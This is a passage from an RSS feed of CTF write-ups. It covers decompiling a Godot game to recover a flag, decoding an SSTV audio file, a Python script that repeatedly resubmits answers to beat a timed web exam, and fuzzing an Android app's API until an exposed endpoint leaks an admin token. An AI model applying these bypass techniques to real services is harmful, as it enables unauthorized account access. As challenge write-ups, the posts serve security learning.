arithmetic</blockquote><blockquote>(__g0 stack tricks) so <strong>JEB Pro was essential</strong> — it’s like IDA Pro for WASM. Highly recommended for non-trivial WASM reverse engineering.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/0*KneOQ3lw0iVyokDt" /></figure><p>We were given a ZIP archive named html-version.zip containing a Godot Web Export game:</p><p>This indicated a <strong>Godot game exported for HTML5/WebAssembly</strong>, which meant reverse engineering needed to go through Godot’s .pck file and potentially the .wasm.</p><p>This indicated a <strong>Godot game exported for HTML5/WebAssembly</strong>, which meant reverse engineering needed to go through Godot’s .pck file and potentially the .wasm</p><h3>Attempt 1: Reverse .wasm with wasm2c</h3><p>We tried:</p><pre>wasm2c index.wasm -o index.c</pre><p>But the resulting code was low-level, obfuscated, and didn’t help us find any flag logic or game behavior.</p><h3>Attempt 2: Using JEB Pro (WASM Decompiler)</h3><p>We opened the .wasm in <strong>JEB Pro</strong>, which supports decompilation of WebAssembly. This allowed limited inspection of constant strings (e.g., &quot;Invalid flag&quot;, etc.), but again didn’t lead to flag logic and crashed like 6 time</p><p>Conclusion: <strong>the flag logic isn’t in </strong><strong>index.wasm, it must be inside the game assets in </strong><strong>index.pck</strong>.</p><h3>Soo Attempt 3</h3><h3>first step was Extract .pck Contents</h3><p>We used godotpcktool:</p><pre>godotpcktool --pack index.pck -a e -o extracted</pre><p>This extracted many files like:</p><ul><li>.import/...stex</li><li>Snake.gdc</li><li>Snake.tscn</li><li>default_env.tres</li><li>project.binary</li><li>etc…</li></ul><p>But Snake.gdc was <strong>compiled</strong>, so we needed to <strong>decompile</strong> it.</p><h3>Step 2: Decompile Snake.gdc</h3><p>We used gdre_tools.exe (<a href="https://github.com/GDRETools/gdsdecomp">from Godot Reverse Engineering Tools</a>) with:</p><pre>gdre_tools.exe --headless --recover=index.pck --output=outdir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_OAjnTG8tw8eeNCjQcVEEg.png" /></figure><p>This tool:</p><ul><li>Extracted and recovered all project files</li><li>Decompiled Snake.gdc into Snake.gd</li></ul><p>Success! We now had <strong>the original GDScript source code</strong> for the game.</p><h3>Step 3: Analyze Snake.gd</h3><pre>extends Node2D<br><br>var posx = 0;<br>var posy = 0;<br><br>var pause = true;<br><br>var direction = &quot;L&quot;<br><br>var Blocks_nbr = 0;<br><br>var Blocks = [Vector2()]<br><br>var New_Pos = Vector2()<br>var point;<br><br>var j = 0;<br><br>var x = 0;<br><br>var time = 0.5;<br><br>func flag1():<br> return &quot;he_tol&quot; + &quot;d_&quot;<br><br>func flag2():<br> var flag = &quot;where_is_my_snake&quot;<br> var flag100 = &quot;100_score_correct&quot;<br> if flag == &quot;whale120&quot;:<br>  return flag100<br> elif 1337 == 1337:<br>  var a1 = 123<br>  a1 ^= 100<br> if 1 == 1:<br>  return &quot;me&quot; + &quot;_n&quot; + &quot;ot_to&quot;<br> <br>func flag3():<br> var test = 1337<br> test += 1<br> test += 3<br> if test == 0:<br>  return &quot;user_root&quot; + &quot;:pa&quot;<br> elif test == 3:<br>  return flag1()<br> else:<br>  return &quot;_use&quot;<br><br>func flag4():<br> var meow = 100<br> for i in range(100):<br>  meow += i<br> if meow:<br>  return &quot;_che&quot; + &quot;at_eng&quot; + &quot;ine&quot;<br> else:<br>  return &quot;my_fir&quot; + &quot;st&quot; + &quot;_game&quot; + &quot;_hackIng&quot;<br><br>func Score(x):<br> get_node(&quot;Score&quot;).clear()<br> if x &gt;= 1333337:<br>  get_node(&quot;Score&quot;).add_text(flag1() + flag2() + flag3() + flag4())<br> else:<br>  get_node(&quot;Score&quot;).add_text(str(&quot;Score : &quot;, x))<br><br>func Border():<br> <br> if (posx &gt; 920):<br>  posx = - 40;<br> elif (posx &lt; 0):<br>  posx = 960;<br><br> <br> if (posy &gt; 920):<br>  posy = - 40;<br> elif (posy &lt; 0):<br>  posy = 960;<br><br>func Game_Over():<br> var T = false;<br> for i in range(Blocks.size()):<br>  if (i &gt; 1):<br>   if (New_Pos == Blocks[i]):<br>    T = true;<br> return T;<br><br>func Rand_Pos():<br> return (randi() %24) * 40;<br><br>func _ready():<br> point = Vector2(Rand_Pos(), Rand_Pos())<br> posx = 0;<br> posy = 0;<br> set_process_input(true);<br> set_process(true);<br><br>func _process(delta):<br> time -= delta * 10<br> if (time &lt;= 0):<br>  Score(Blocks_nbr)<br>  time = 1;<br><br>  match direction:<br>   &quot;R&quot;: posx += 40;<br>   &quot;D&quot;: posy += 40;<br>   &quot;L&quot;: posx -= 40;<br>   &quot;U&quot;: posy -= 40;<br><br>  New_Pos.x = posx;New_Pos.y = posy;<br><br>  if (Game_Over()):<br>   get_tree().reload_current_scene()<br><br>  if (x &lt; Blocks_nbr):<br>   x += 1;<br>   Blocks[x] = New_Pos;<br>  else:<br>   x = 0;<br>   Blocks[x] = New_Pos;<br>  update()<br>  Border()<br><br>func _input(event):<br> if (Input.is_action_pressed(&quot;ESC&quot;)):<br>  if (pause == false):<br>   pause = true;<br>  else:<br>   pause = false;<br>  set_process(pause)<br><br> if (Input.is_action_pressed(&quot;ui_right&quot;) and direction != &quot;L&quot;):<br>  direction = &quot;R&quot;;<br> if (Input.is_action_pressed(&quot;ui_down&quot;) and direction != &quot;U&quot;):<br>  direction = &quot;D&quot;;<br> if (Input.is_action_pressed(&quot;ui_up&quot;) and direction != &quot;D&quot;):<br>  direction = &quot;U&quot;;<br> if (Input.is_action_pressed(&quot;ui_left&quot;) and direction != &quot;R&quot;):<br>  direction = &quot;L&quot;;<br><br>func _draw():<br> <br> j = 0;<br> for i in range(24):<br>  j += 40<br>  draw_line(Vector2(0, j), Vector2(960, j), Color(255, 255, 255, 5))<br>  draw_line(Vector2(j, 0), Vector2(j, 960), Color(255, 255, 255, 5))<br><br> <br> if (point == Vector2(posx, posy)):<br>  Blocks.append(New_Pos)<br>  Blocks_nbr += 1;<br>  point = Vector2(Rand_Pos(), Rand_Pos())<br><br> <br> draw_rect(Rect2(point, Vector2(40, 40)), Color(0, 0, 0))<br> <br> <br> for i in range(Blocks.size()):<br>  draw_rect(Rect2(Blocks[i], Vector2(40, 40)), Color(0, 0, 0), false)<br><br> draw_rect(Rect2(Vector2(New_Pos), Vector2(40, 40)), Color(0, 0, 0))<br><br> draw_rect(Rect2(Vector2(0, 960), Vector2(960, 160)), Color(&quot;a2d089&quot;))</pre><p>We found this logic inside Score(x):</p><pre>func Score(x):<br> get_node(&quot;Score&quot;).clear()<br> if x &gt;= 1333337:<br>  get_node(&quot;Score&quot;).add_text(flag1() + flag2() + flag3() + flag4())</pre><p>So if the player’s score reaches 1333337, it reveals the flag through helper functions</p><p>final Step which is Reconstruct Flag from Functions</p><pre>func flag1():<br> return &quot;he_tol&quot; + &quot;d_&quot;              # =&gt; &quot;he_told_&quot;<br><br>func flag2():<br> return &quot;me&quot; + &quot;_n&quot; + &quot;ot_to&quot;        # =&gt; &quot;me_not_to&quot;<br><br>func flag3():<br> return &quot;_use&quot;                       # =&gt; &quot;_use&quot;<br><br>func flag4():<br> return &quot;_che&quot; + &quot;at_eng&quot; + &quot;ine&quot;    # =&gt; &quot;_cheat_engine&quot;<br></pre><pre>NHNC{he_told_me_not_to_use_cheat_engine}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0c7591c7523" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Slow Scan -Steganography ctictf]]></title>
            <link>https://drkasbr.medium.com/slow-scan-steganography-ctictf-ae019546c775?source=rss-92f5cb8e0013------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae019546c775</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[sstv]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[forensics]]></category>
            <dc:creator><![CDATA[Dr.kasbr]]></dc:creator>
            <pubDate>Wed, 25 Jun 2025 10:01:57 GMT</pubDate>
            <atom:updated>2025-06-25T10:02:53.606Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mxDOTUGleN2wSGt4" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Pwt4BBm5k1txZg64" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*JFKPvgeFGw5WrWOcxUJ-tA.png" /></figure><p>first thing the name it’s huge hint</p><p>if you just google it you will get</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTdFll7yqpQJM2fvmteBog.png" /></figure><p>To confirm our suspicion:</p><pre>└─$ file flag.wav               <br>flag.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 48000 Hz</pre><pre>┌──(oxfun㉿0xfun)-[~/…/new_ctf/cti/Steganography/Slow Scan]<br>└─$ exiftool flag.wav    <br>ExifTool Version Number         : 12.76<br>File Name                       : flag.wav<br>Directory                       : .<br>File Size                       : 44 MB<br>File Modification Date/Time     : 2025:04:30 05:57:40-04:00<br>File Access Date/Time           : 2025:06:25 05:26:43-04:00<br>File Inode Change Date/Time     : 2025:06:25 05:26:25-04:00<br>File Permissions                : -rwxrwxrwx<br>File Type                       : WAV<br>File Type Extension             : wav<br>MIME Type                       : audio/x-wav<br>Encoding                        : Microsoft PCM<br>Num Channels                    : 1<br>Sample Rate                     : 48000<br>Avg Bytes Per Sec               : 96000<br>Bits Per Sample                 : 16<br>Warning                         : Encountered empty null chunk. Processing aborted<br>Duration                        : 0:07:37<br>                                                                                                                          <br>┌──(oxfun㉿0xfun)-[~/…/new_ctf/cti/Steganography/Slow Scan]</pre><ul><li>It uses a <strong>non-standard sample rate</strong> (48000 Hz)</li><li>File size: ~44MB — too large for one simple SSTV frame</li><li>Tools like sstv, pysstv, and qsstv failed to extract any valid frames Likely reasons:</li><li>No standard SSTV calibration header</li><li>Improper SSTV mode</li><li>Possibly padding or noise before signal starts</li></ul><p>i tried use <strong>pysstv</strong> — Python SSTV decoder</p><ul><li><strong>sstv CLI tool</strong> — available via pip or GitHub</li><li><strong>Audacity + audio slicing</strong> — to manually isolate signals</li><li><strong>gnuradio</strong>, <strong>QSSTV</strong>, and even Dockerized SSTV decoders.</li></ul><p>the Problem is All tools failed like</p><pre>sstv -d flag.wav -o flag.png<br># [sstv] Couldn&#39;t find SSTV header in the given audio file</pre><p>and</p><pre># pysstv.decode did not exist – API mismatch</pre><p>Even skipping manually with -s flags didn&#39;t help. Likely reasons:</p><ul><li>Wrong sample rate (48000 Hz instead of 44100 Hz or 11025 Hz)</li><li>Signal not starting immediately (late tone)</li><li>Non-standard or noisy encoding</li><li>Our tools might not support the exact mode used</li></ul><p>While attempting to fix decoding tools and installing libraries (libasound, fftw, libpng, cmake, etc.), My environment crashed :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*WyPqttvNQ2zNyF_I__fqlQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/0*jC_Mn9wdE42ZerFN.gif" /></figure><p>While debugging the VM crash, I recalled using the <strong>Robot36</strong> Android app in past SSTV-based challenges.</p><p>So, I played the flag.wav file on my PC and pointed the phone mic to my headset with Robot36 in <strong>Raw Mode</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p1akDth9sggAuQ2P-F050Q.jpeg" /></figure><p>Bingo, we got the image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/362/0*2-Ui_CJzieDInTlR.gif" /></figure><pre>The flag is the one <br>below, but in md5(;<br><br>gtf_is_coming_soon<br></pre><p>which is</p><pre>┌──(oxfun㉿0xfun)-[~/…/new_ctf/cti/Steganography/Slow Scan]<br>└─$ echo -n &quot;gtf_is_coming_soon&quot; | md5sum<br>277ec840443c30695fd3739d8955d87d  -</pre><p>final flag</p><pre>GTF{277ec840443c30695fd3739d8955d87d}</pre><p><strong>Note to future me:</strong><br> Take a snapshot of your VM <em>every single day </em>because fixing a broken desktop is not a fun kind of challenge 😅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*pasW7yPs7W6oBhyu.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae019546c775" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[web Timmy bcactf]]></title>
            <link>https://drkasbr.medium.com/web-timmy-bcactf-97ffd44a6225?source=rss-92f5cb8e0013------2</link>
            <guid isPermaLink="false">https://medium.com/p/97ffd44a6225</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Dr.kasbr]]></dc:creator>
            <pubDate>Tue, 24 Jun 2025 12:13:37 GMT</pubDate>
            <atom:updated>2025-06-24T12:13:37.748Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/551/0*s3ZWDvp_nkDtDp2M" /></figure><h3>Challenge overview</h3><h3>Overview</h3><p>The web app presents a 25-question multiple-choice “exam.” You must score <strong>25/25</strong> within a <strong>2-minute</strong> window after starting the exam. The frontend is a simple Svelte app that:</p><ol><li>Loads the exam JSON via /api/exam/begin.</li><li>Submits your answers via /api/exam/submit.</li><li>Shows results (for parents) by rendering a WebP image with ticks (✓) and crosses (✗) via the /parents form.</li></ol><p>All answers, exam paper, and results are handled entirely by API calls — no server-side HTML logic to tamper with, and the encrypted examRef / resultsRef blobs are impossible to brute-force or decrypt directly.</p><h3>API Endpoints</h3><h3><strong>Begin Exam</strong></h3><pre>POST /api/exam/begin<br>Content-Type: application/json<br><br>{ &quot;studentName&quot;: &quot;Timmy Bobbins&quot; }</pre><p>Response:</p><pre>{<br>  &quot;studentName&quot;: &quot;Timmy Bobbins&quot;,<br>  &quot;examRef&quot;:    &quot;&lt;opaque-hex-blob&gt;&quot;,<br>  &quot;questions&quot;: [<br>    { &quot;problemStatement&quot;: &quot;...&quot;, &quot;choices&quot;: [&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;] },<br>    … ×25 …<br>  ]<br>}</pre><h3>submit Answers</h3><pre>POST /api/exam/submit<br>Content-Type: application/json<br><br>{ &quot;examRef&quot;: &quot;&lt;blob&gt;&quot;, &quot;selections&quot;: [i0,i1,…,i24] }</pre><p>Response:</p><pre>{<br>  &quot;score&quot;:      &quot;X.X%&quot;,        // e.g. &quot;16.0%&quot;<br>  &quot;passed&quot;:     false,<br>  &quot;resultsRef&quot;: &quot;&lt;opaque-hex-blob&gt;&quot;<br>}</pre><h3>Show to Parents</h3><pre>POST /parents<br>Content-Type: application/x-www-form-urlencoded<br><br>resultsRef=&lt;opaque-hex-blob&gt;</pre><p><strong>Response:</strong> Renders an HTML page that includes a WebP image. That image shows each question numbered 1–25 with a ✓ for correct, ✗ for wrong.</p><h3>Exploit Strategy</h3><ol><li><strong>Automate the three-step flow</strong></li></ol><ul><li><strong>Step 1:</strong> Get examRef and the questions list.</li><li><strong>Step 2:</strong> Send a candidate answer vector [a0…a24] to /api/exam/submit → retrieve resultsRef.</li><li><strong>Step 3:</strong> Post resultsRef to /parents and <strong>view</strong> the resulting WebP image to see exactly which questions passed/failed.</li></ul><ol><li><strong>Interactive correction rounds</strong></li></ol><p>Begin by submitting <strong>all-zero</strong> answers (choice index 0 for every question).</p><p>The returned WebP shows which question indices are wrong.</p><ul><li>Manually note those indices (e.g. 2 4 10), then bump those answers to <strong>1</strong>, resubmit, and view the new image.</li><li>Repeat for levels 1→2→3→4 until <strong>all</strong> questions show ✓</li></ul><p><strong>Time constraint</strong></p><p>You must complete all submissions and image checks <strong>within 2 minutes</strong> of the initial exam fetch.</p><ul><li>Fully automating OCR proved too brittle; instead we do <strong>one</strong> initial fetch, then up to <strong>4</strong> quick interactive rounds — easily doable under 2 min</li></ul><h3>Solve Script</h3><pre>#!/usr/bin/env python3<br>import requests<br><br>BASE    = &quot;http://challs.bcactf.com:14327&quot;<br>BEGIN   = f&quot;{BASE}/api/exam/begin&quot;<br>SUBMIT  = f&quot;{BASE}/api/exam/submit&quot;<br>SESSION = requests.Session()<br><br>def post_json(url, payload):<br>    r = SESSION.post(url, json=payload)<br>    r.raise_for_status()<br>    return r.json()<br><br>def main():<br>    # 1) Start exam<br>    data = post_json(BEGIN, {&quot;studentName&quot;: &quot;Timmy Bobbins&quot;})<br>    ref  = data[&#39;examRef&#39;]<br>    n    = len(data[&#39;questions&#39;])<br><br>    # 2) Initial all-zero submission<br>    selections = [0] * n<br>    result     = post_json(SUBMIT, {<br>        &quot;examRef&quot;:    ref,<br>        &quot;selections&quot;: selections<br>    })<br>    print(&quot;Initial score:&quot;, result[&#39;score&#39;])<br>    print(&quot;resultsRef:&quot;, result[&#39;resultsRef&#39;])<br><br>    # 3) Up to 4 correction rounds<br>    for level in range(1, 5):<br>        wrong = input(<br>            f&quot;\nRound {level}: which Q’s are still wrong? &quot;<br>            &quot;(space-separated, e.g. &#39;2 4 10&#39;; ENTER to finish) &quot;<br>        ).strip()<br>        if not wrong:<br>            break<br><br>        for tok in wrong.split():<br>            if tok.isdigit():<br>                idx = int(tok) - 1<br>                if 0 &lt;= idx &lt; n:<br>                    selections[idx] = level<br><br>        # re-submit corrected answers<br>        result = post_json(SUBMIT, {<br>            &quot;examRef&quot;:    ref,<br>            &quot;selections&quot;: selections<br>        })<br>        print(&quot;After level&quot;, level, &quot;score:&quot;, result[&#39;score&#39;])<br>        print(&quot;resultsRef:&quot;, result[&#39;resultsRef&#39;])<br><br>        if result.get(&#39;passed&#39;):<br>            print(&quot;\n✅ Exam passed!&quot;)<br>            break<br><br>    print(&quot;\nFinal selections:&quot;, selections)<br>    print(&quot;Final score:&quot;, result[&#39;score&#39;], &quot;Passed:&quot;, result[&#39;passed&#39;])<br><br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><h3>Usage</h3><pre>$ python3 solve.py<br>Initial score: 16.0%<br>resultsRef: 646f6e27…  <br><br>Round 1: which Q’s are still wrong? 1 2 4 10<br>After level 1: score 44.0%<br>resultsRef: …<br><br>Round 2: which Q’s are still wrong? 3 5 7<br>After level 2: score 76.0%<br>resultsRef: …<br><br>…  <br>✅ Exam passed!<br>Final selections: [1,2,0,1,2,…]<br>Final score: 100.0% Passed: True</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/0*Tysp69bYlIq1THYs" /></figure><p>in the end</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4bJuWI5A6qgXaQSf" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97ffd44a6225" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BitSiege CTF android api pt]]></title>
            <link>https://drkasbr.medium.com/bitsiege-ctf-android-api-pt-7e8c8ae4a3d3?source=rss-92f5cb8e0013------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e8c8ae4a3d3</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[reverse]]></category>
            <dc:creator><![CDATA[Dr.kasbr]]></dc:creator>
            <pubDate>Tue, 06 May 2025 22:57:35 GMT</pubDate>
            <atom:updated>2025-05-06T23:02:53.621Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/530/0*zatm0dOVKMQlFBx1" /></figure><p>ok so lets start by see what is this app lets Analayze it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*B0JsCbHjfHuI28P-.gif" /></figure><p>we can use any Android emulator like Android Studio or even memu player or even your device :)</p><p>so after run it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1kgtLy6npwukFs5vQ3fSBA.png" /></figure><p>We will see a basic login page and register</p><p>so i registered with</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ek4bDCGerJrIhATMMtEfAg.png" /></figure><pre>  &quot;Email&quot;: &quot;0xfun1@0xfun.org&quot;,<br>  &quot;password&quot;: &quot;0xfunFBlood&quot;,<br>  &quot;confirm_password&quot;: &quot;0xfunFBlood&quot;,</pre><p>then we moved to Securechat with bot</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uj-Q3dNmj10lqXKyhpd2ug.png" /></figure><p>and keep in mind we need login with this mail to get the flag</p><pre>admin@bitwall.co.ke</pre><p>Soo i’m gonna stop the Dynamic analysis now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*Ml2SKojDlO9zQmMJ.gif" /></figure><p>Let’s dive in real static analysis O__o</p><p>ok now we have Key words like</p><pre>Login<br>LOUGOUT<br>Register </pre><h3>So lets open Jadx and start hunting</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*J3_RxWR2XmhR2MHU.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rl3fnMOdfJloIH0GGTEsUA.png" /></figure><p>lets see this one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*IpOiLF43gc1FY0sXniJUrw.png" /></figure><p>And now we have 3 wayes to keep it full static <br>1- by checking the MainActivity and network which dirct lead you to the api server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lDMxpByFL7J34MPMSh4pmw.png" /></figure><p>by checking the ApiClinet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pCkqxQXRHsnSSmGKkV6rZA.png" /></figure><p>and see the endpoints</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IWx6KzO796l1iqbfxsFzow.png" /></figure><p>but you need think like hunter and think in all ways</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/0*dwEAH5qT2alpJa8l.gif" /></figure><p>so let’s move to way 2 which by using this tool</p><p><a href="https://github.com/n0mi1k/apk2url">GitHub - n0mi1k/apk2url: An OSINT tool to quickly extract IP and URL endpoints from APKs by disassembling and decompiling</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EBCq319RA4KpzTmO7fKCLQ.png" /></figure><p>do you think we Done ? hell nah</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*iYmTSg9u4tLygyMr.gif" /></figure><p>way 3 which the best way for ctfs by just</p><pre>└─$ strings SecureChat | grep -r -i &quot;http://&quot;<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OgsU8T8oqrzX-Hkz5L8NA.png" /></figure><p>anyway here we done with android Analayze now it More like api web pt so lets check what we have until now</p><pre> we have api server  in this ip   http://44.206.226.86:5000 <br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cFd5Gkmef-Ynt3gsTjU_VQ.png" /></figure><pre>and we have those endpoints <br><br>public interface ApiService {<br>    @GET(&quot;/api/user&quot;)<br>    Object getUserInfo(@Header(&quot;x-access-token&quot;) String str, Continuation&lt;? super Response&lt;UserInfo&gt;&gt; continuation);<br><br>    @POST(&quot;/api/login&quot;)<br>    Object login(@Body RequestBody requestBody, Continuation&lt;? super Response&lt;LoginResponse&gt;&gt; continuation);<br><br>    @POST(&quot;/api/register&quot;)<br>    Object register(@Body RequestBody requestBody, Continuation&lt;? super Response&lt;RegisterResponse&gt;&gt; continuation);<br><br>    @POST(&quot;/api/chat&quot;)<br>    Object sendChatMessage(@Header(&quot;x-access-token&quot;) String str, @Body RequestBody requestBody, Continuation&lt;? super Response&lt;ChatResponse&gt;&gt; continuation);<br>}</pre><p>so lets move and try them</p><p>this is the register request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xSVM-LE7CRhq6QtaYpQ-7Q.png" /></figure><p>lets try with admin mail</p><pre>admin@bitwall.co.ke</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hqMaAU-gLtmgDJsaCDiqMQ.png" /></figure><p>so here we have problem which is we can’t crack the jwt i spent huge time on that but didn’t worked</p><p>lets take moment and think about we can do since now its web api pt</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>after read some reports and think about it</p><p>sometime we have more then way to get admin token</p><p>its like when someone ask you about your phone number but you refuesd so he gonna find anyone leak it</p><p>so lets find someone which in our case the endpoint since its an api system</p><p>so lets start from /api</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w2TkYYcBKCwIFceGmuUyQA.png" /></figure><blockquote>now we have new endpoint which {/<strong>signup}</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x0rAVqQUTIeRifu3Jv1eSg.png" /></figure><p>its look like broken access control so lets keep fuzzing the endpoints after /signup</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z55taH34XeGwBI67G77rBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*7yQR2Clo1h2KzTxX.gif" /></figure><p>Bingo</p><p>We can retrieve the admin token using the /api/signup/email endpoint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vWvS-ZoU2Z388X12EMQz1w.png" /></figure><p>And that was the end of the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZBkqsslafZj53jQyXOMdAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*xYsspl2hxGGjnBRl.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e8c8ae4a3d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>